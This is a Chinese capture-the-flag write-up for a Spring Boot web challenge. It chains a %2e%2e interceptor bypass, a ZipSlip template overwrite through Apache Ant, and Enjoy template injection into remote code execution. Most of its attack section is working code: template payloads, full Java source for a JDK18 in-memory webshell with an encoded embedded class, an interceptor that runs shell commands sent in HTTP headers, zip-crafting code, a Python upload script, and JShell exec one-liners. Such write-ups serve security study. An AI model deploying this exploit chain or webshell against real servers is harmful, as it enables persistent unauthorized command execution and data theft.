0x01 赛题考点:

  • springboot限定版本的%2e绕过Trick
  • apache-ant的zipslip漏洞
  • Enjoy国产模板引擎注入
  • JDK18环境下的内存马打入

0x02 解题思路:

代码分析

先来看下这个题目里面的配置和路由相关内容:

application.properties

server.port=9124

file.upload.path=/usr/src/app/upload
file.download.path=/usr/src/app/upload
template.path=/usr/src/app/template

SpringBootConfig这里设置jfinal为模板页面,模板页面位置为template.path,属于是jar包外面

WebMvcConfig这里设置了一个拦截器UserInterceptor,拦截的位置是全路径:

然后就是几个路由:

  • /admin/upload:上传zip文件然后解压,这里存在ZipSlip漏洞和跨目录文件上传后面详细分析
  • /index:是个任意文件下载但是不载的文件不能包含flag和porc,所以这里不能帮助我们获取flag文件
  • /admin/hello,/admin/upload:这俩个路由返回的视图是jar包外的模板文件可以被覆盖渲染

springboot下%2e的Trick

/index 路由下存在文件下载漏洞,但是不能下载文件名包含 flag 的文件和proc的文件。依据提示我们可以通过其下载到站点源码。

UserInterceptor 拦截器这里会拦截 /admin/* 下面所有的路由不进行处理,并且也将 .. 和 ./ 进行了过滤。

不过可以使用 %2e%2e 进行绕过。这个trick适用于SpringBoot版本小于等于2.3.0.RELEASE,有关该技巧的细节分析可以看Ruilin师傅的介绍。

ZipSlip漏洞

/admin/upload 路由可以进行zip压缩包上传。遇到压缩包上传最先考虑有没有ZipSlip的漏洞,ZipSlip最早应该是国外的安全研究员提出来的,zip-slip-vulnerability 项目中纪录了各种语言库的相关ZipSlip风险。

题目环境中的org.apache.ant1.9.11正好存在 zipslip 漏洞,虽然后端不允许压缩子文件项名以../开头但是可以用./来绕过,利用这个后端的解压功能可以造成目录穿越覆盖hello.html造成模板注入。关于制作这种不符合规则的压缩包制作可以参考 Spring Integration Zip不安全解压。或者使用woodpecker插件zip-tools也非常方便。

上面是对压缩包里面项目处理时候的分析,对压缩包的处理还有个问题就是没有对filename进行过滤。

将filename改为../template/admin.zip 就可以目录穿越直接传到我们想要的位置不需要改压缩包子项的内容。

Enjoy模板注入

后端使用国产的模板引擎Enjoy作为视图层,版本为最新版5.1.2,Enjoy模板引擎在5.02版本之后关闭了静态方法调用的API。这该怎么RCE呢?

2020年@pwntester 联合 @Oleksandr Mirosh 发表了一篇关于 Java 模板注入的BlackHat USA 2020 议题,议题介绍了现阶段各种 CMS 模板引擎中存在的缺陷,其中包含通用缺陷以及各个模板引擎特性造成的缺陷。

作者在介绍FreeMarker注入的时候提到了关于springMacroRequestContext端点暴露导致的安全性问题:

在国产模板引擎Enjoy中是否也会存在同样的问题,通过阅读官方文档可以发现模板作者提供了一个接口来关闭 springMacroRequestContext 的暴露,但是在5.1.2的版本中springMacroRequestContext是默认开放的

    // 创建用于整合 spring boot 的 ViewResolver 扩展对象
    JFinalViewResolver jfr = new JFinalViewResolver();
    jfr.setExposeSpringMacroHelpers(true);

我刚开始想着如果可以取到 springMacroRequestContext,是不是可以直接使用 FreeMarker 的思路来一遍:打开静态方法调用的开关然后RCE

#set(applicationContext = springMacroRequestContext.webApplicationContext)
#set(viewResolver = applicationContext.getBean('jfinalViewResolver'))
#(eg = viewResolver.engine)
#(eg.setStaticMethodExpression(true))
#set(scriptEngineManager = java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager"))
#set(jsScript = scriptEngineManager.getEngineByExtension("js"))
#(jsScript.eval("function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"calc\")"))

结果调试发现,Enjoy引擎在对模板进行扫描时就会判断是否可以调用静态方法。也就是说还没等我们开启静态方法调用的开关,就会抛出异常

那么只能换条路了,通过暴露的 springMacroRequestContext 拿到然后 webApplication,然后在其中找到能RCE的bean。y4tacker师傅在 pebble-wp 中使用Spring中的bean RCE过:

webApplicationContext 中的cachingMetadataReaderFactory.resourceLoader,该classloader重写并将loadClass方法且将其设为了public,我们可以通过其loadClass方法加载当前环境下的任意类。我通过其加载了SpelExpressionParser 类并调用JacksonObjectMapper的api对SpelExpressionParser进行实例化。最终通过spel表达式进行内存马加载

#set(applicationContext = springMacroRequestContext.webApplicationContext) 
#set(cachingMetadataReaderFactory = applicationContext.getBean('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory')) 
#set(clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser")) 
#(cachingMetadataReaderFactory.resourceLoader.classLoader) 
#set(instance = applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz)) 
#(instance.parseExpression("T(java.net.URLClassLoader).newInstance(new java.net.URL[]{new java.net.URL('file:////usr/src/app/upload/SpringInterceptorMemShell')}).loadClass('SpringInterceptorMemShell').newInstance()").getValue()) 

jdk高版本的内存马

因为是jdk18,需要绕过下Moudle,所以最终的内存马如下:

import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.zip.GZIPInputStream;

/**
 * bypassModule: jdk高版本绕过反射的限制
 */
public class SpringInterceptorMemShell {
    public String getUrlPattern() {
        return "/*";
    }

    public String getClassName() {
        return "Log4jConfigZfjfInterceptor";
    }

    public String getBase64String() throws IOException {
        return new String("H4sIAAAAAAAAAI1WW1dbRRT+hpzkhHAoEK4BbK3aEq6HFpA2qdVKW0HTi6RSoVXXSTKEQ5Nz0jkTbt5br8u1fHRZ/oAvfdGH0OrSRx/8SV1Ll3uSlJIaLA+ZPbP3nv3t2+yTv/759Q8Ak/g2hMM4q5ZXg3itCefwehDjITRjRi3ng7gQwkW8oQ6zQcwp+qaOt4JIBHEpiMs6roRwFW+rZT6EJK6F0IZ3glhQ9Lpa3m3CIpZCuIGbjWTrvRDexwc6vtZh6UgxBM7Yji3PMviigwsM2oyb4QwtCdvhl4v5FBfXrFSOOOGEm7ZyC5aw1bnK1OSK7TH0JxJudnJ1xnWW7ezS8urynCO5SPOCdEWcoTeaWLXWLDNnOVlzJmd5XsK1MlzEFSDbYujeR87QWBB81n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krgu96KZ89FAkEcToNI9+GuiHaWQewfeUqx8ouh8pCyoPsxThEM31EYxSbu6iHWMwKRu9NG3Haaep+HeztI0ThMTKuwn689NQ3k3hZfJimvZhaH9jXscpHac7HmHsEenGiK8RjdPvTLker/wLP4wQKj0JAAA=");
    }

    public SpringInterceptorMemShell() throws Exception {
        final ArrayList < Class > classes = new ArrayList < > ();
        classes.add(Class.forName("java.lang.reflect.Field"));
        classes.add(Class.forName("java.lang.reflect.Method"));
        bypassModule(classes);
        Object context = this.getContext();
        Object interceptor = this.getInterceptor();
        this.addInterceptor(context, interceptor);
    }

    private void bypassModule(ArrayList < Class > classes) {
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                    Class[0]);
                if (getModuleMethod != null)  {
                    for (Class aClass : classes)  {
                        Object targetModule = getModuleMethod.invoke(aClass, new Object[] {}
                        );
                        unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
                System.out.println("1" + e.getMessage());
            }
        } catch (Exception e) {
            e.printStackTrace();
            System.out.println("2" + e.getMessage());
        }
    }

    private static Method getMethod(Class clazz, String methodName, Class[]
        params) {
        Method method = null;
        while (clazz != null)  {
            try {
                method = clazz.getDeclaredMethod(methodName, params);
                break;
            } catch (NoSuchMethodException e) {
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }

    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }

    public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        Object context = null;

        Object applicationContext;
        try {
            Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
            applicationContext = invokeMethod(requestAttributes, "getRequest");
            Object session = invokeMethod(applicationContext, "getSession");
            Object servletContext = invokeMethod(session, "getServletContext");
            context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{classLoader.loadClass("javax.servlet.ServletContext")}, new Object[]{servletContext});
        } catch (Exception e) {
            e.printStackTrace();
            System.out.println("3" + e.getMessage());
        }

        if (context == null) {
            try {
                LinkedHashSet applicationContexts = (LinkedHashSet)getFV(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
                applicationContext = applicationContexts.iterator().next();
                if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
                    context = applicationContext;
                }
            } catch (Exception e) {
                e.printStackTrace();
                System.out.println("4" + e.getMessage());
            }
        }

        return context;
    }

    private Object getInterceptor() throws Exception {
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        Object interceptor = null;

        try {
            interceptor = classLoader.loadClass(this.getClassName()).newInstance();
        } catch (Exception var8) {
            try {
                byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                defineClass.setAccessible(true);
                Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
                interceptor = clazz.newInstance();
            } catch (Throwable e) {
                e.printStackTrace();
                System.out.println("5" + e.getMessage());
            }
        }

        return interceptor;
    }

    public void addInterceptor(Object context, Object interceptor) {
        try {
            Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
            ArrayList<Object> adaptedInterceptors = (ArrayList)getFV(abstractHandlerMapping, "adaptedInterceptors");
            adaptedInterceptors.add(interceptor);
        } catch (Exception e) {
            e.printStackTrace();
            System.out.println("6" + e.getMessage());
        }

    }

    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class decoderClass;
        try {
            decoderClass = Class.forName("sun.misc.BASE64Decoder");
            return (byte[])((byte[])decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str));
        } catch (Exception var4) {
            decoderClass = Class.forName("java.util.Base64");
            Object decoder = decoderClass.getMethod("getDecoder").invoke((Object)null);
            return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str));
        }
    }

    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
        GZIPInputStream ungzip = new GZIPInputStream(in);
        byte[] buffer = new byte[256];

        int n;
        while((n = ungzip.read(buffer)) >= 0) {
            out.write(buffer, 0, n);
        }

        return out.toByteArray();
    }

    synchronized void setFV(Object var0, String var1, Object val) throws Exception {
        getF(var0, var1).set(var0, val);
    }

    static Object getFV(Object obj, String fieldName) throws Exception {
        Field field = getF(obj, fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }

    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
        Class clazz = obj.getClass();

        while(clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field;
            } catch (NoSuchFieldException var4) {
                clazz = clazz.getSuperclass();
            }
        }

        throw new NoSuchFieldException(fieldName);
    }

    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
    }

    public static synchronized Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class clazz = obj instanceof Class ? (Class)obj : obj.getClass();
        Method method = null;
        Class tempClass = clazz;

        while(method == null && tempClass != null) {
            try {
                if (paramClazz == null) {
                    Method[] methods = tempClass.getDeclaredMethods();

                    for(int i = 0; i < methods.length; ++i) {
                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
                            method = methods[i];
                            break;
                        }
                    }
                } else {
                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
                }
            } catch (NoSuchMethodException var11) {
                tempClass = tempClass.getSuperclass();
            }
        }

        if (method == null) {
            throw new NoSuchMethodException(methodName);
        } else {
            method.setAccessible(true);
            if (obj instanceof Class) {
                try {
                    return method.invoke((Object)null, param);
                } catch (IllegalAccessException var9) {
                    throw new RuntimeException(var9.getMessage());
                }
            } else {
                try {
                    return method.invoke(obj, param);
                } catch (IllegalAccessException var10) {
                    throw new RuntimeException(var10.getMessage());
                }
            }
        }
    }
}

Log4jConfigZfjfInterceptor拦截器部分

import java.util.Scanner;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.AsyncHandlerInterceptor;

public class Log4jConfigZfjfInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
    public Log4jConfigZfjfInterceptor() {
    }

    public Log4jConfigZfjfInterceptor(ClassLoader z) {
        super(z);
    }


    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
            // cmdshell
            String cmd = request.getHeader("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                String[] cmds = null;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    cmds = new String[]{"cmd", "/c", cmd};
                } else {
                    cmds = new String[]{"/bin/bash", "-c", cmd};
                }
                String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
                response.getWriter().write(result);
                System.out.println(result);
            }
            return false;
        }
        return true;
    }
}

开始攻击

因为jar包中引用的模板文件在系统路径下,所以我们可以利用文件上传来覆盖模板文件,重新访问路由来触发模板注入。通过 spring-integration-zip 可制作压缩包

        final ZipTransformer zipTransformer = new ZipTransformer();
        zipTransformer.setWorkDirectory(new File(workDir));
        zipTransformer.setBeanFactory(mock(BeanFactory.class));
        zipTransformer.afterPropertiesSet();
        zipTransformer.setUseFileAttributes(false); //设置 UseFileAttributes 为 false,用于我们自定义 EntryFileName

        final File testFile = new File(evilPath);
        final String zipEntryFileName = "./../../template/admin/hello.html";
        final Message<File> message = MessageBuilder.withPayload(testFile).setHeader(ZipHeaders.ZIP_ENTRY_FILE_NAME,zipEntryFileName).build();

        zipTransformer.transform(message);

Python发请求包

import requests

upload_url = 'http://ip:port/index/%2e%2e/admin/upload'  # 替换为实际的上传URL
file_path = 'E:\\SpringInterceptorMemShell.zip'  # 替换为要上传的文件路径
proxy_url = 'http://127.0.0.1:8080'

# 构建代理字典
proxies = {
    'http': proxy_url,  # 用于HTTP请求的代理
    'https': proxy_url,  # 用于HTTPS请求的代理
}

# 发送文件上传请求
with open(file_path, 'rb') as file:
    files = {'file': ('SpringInterceptorMemShell.zip', file)}  # 'file'是表单字段名称,通常是后端接收文件的字段名
    response = requests.post(upload_url, files=files, proxies=proxies)
    print(response.text)

需要burp在抓一下包,因为可能python会默认对url进行修改,上传模板文件

然后再上传内存马的字节码文件

​​

访问下/index/%2e%2e/admin/hello路由触发模板注入

最后GetShell

最后比赛结束后由别的师傅研究出来还有其他思路拿到flag:

  • 使用Enjoy语法进行模板文件包含拿取flag:
#include("../../filename")
  • 使用俩个模板:
  • 第一个模板通过springMacroRequestContext开启静态方法调用配置
#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true))
  • 第二个模板通过静态方法进行RCE(因为是JDK高版本使用JShell就可以)
#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String[]{"bash", "-c", "cat /flag > /tmp/test.txt"});'))

Reference

https://t.zsxq.com/14yRHD4E1

https://t.zsxq.com/14vamJFrf

https://t.zsxq.com/14Y68dWbN

CTFBackup

‍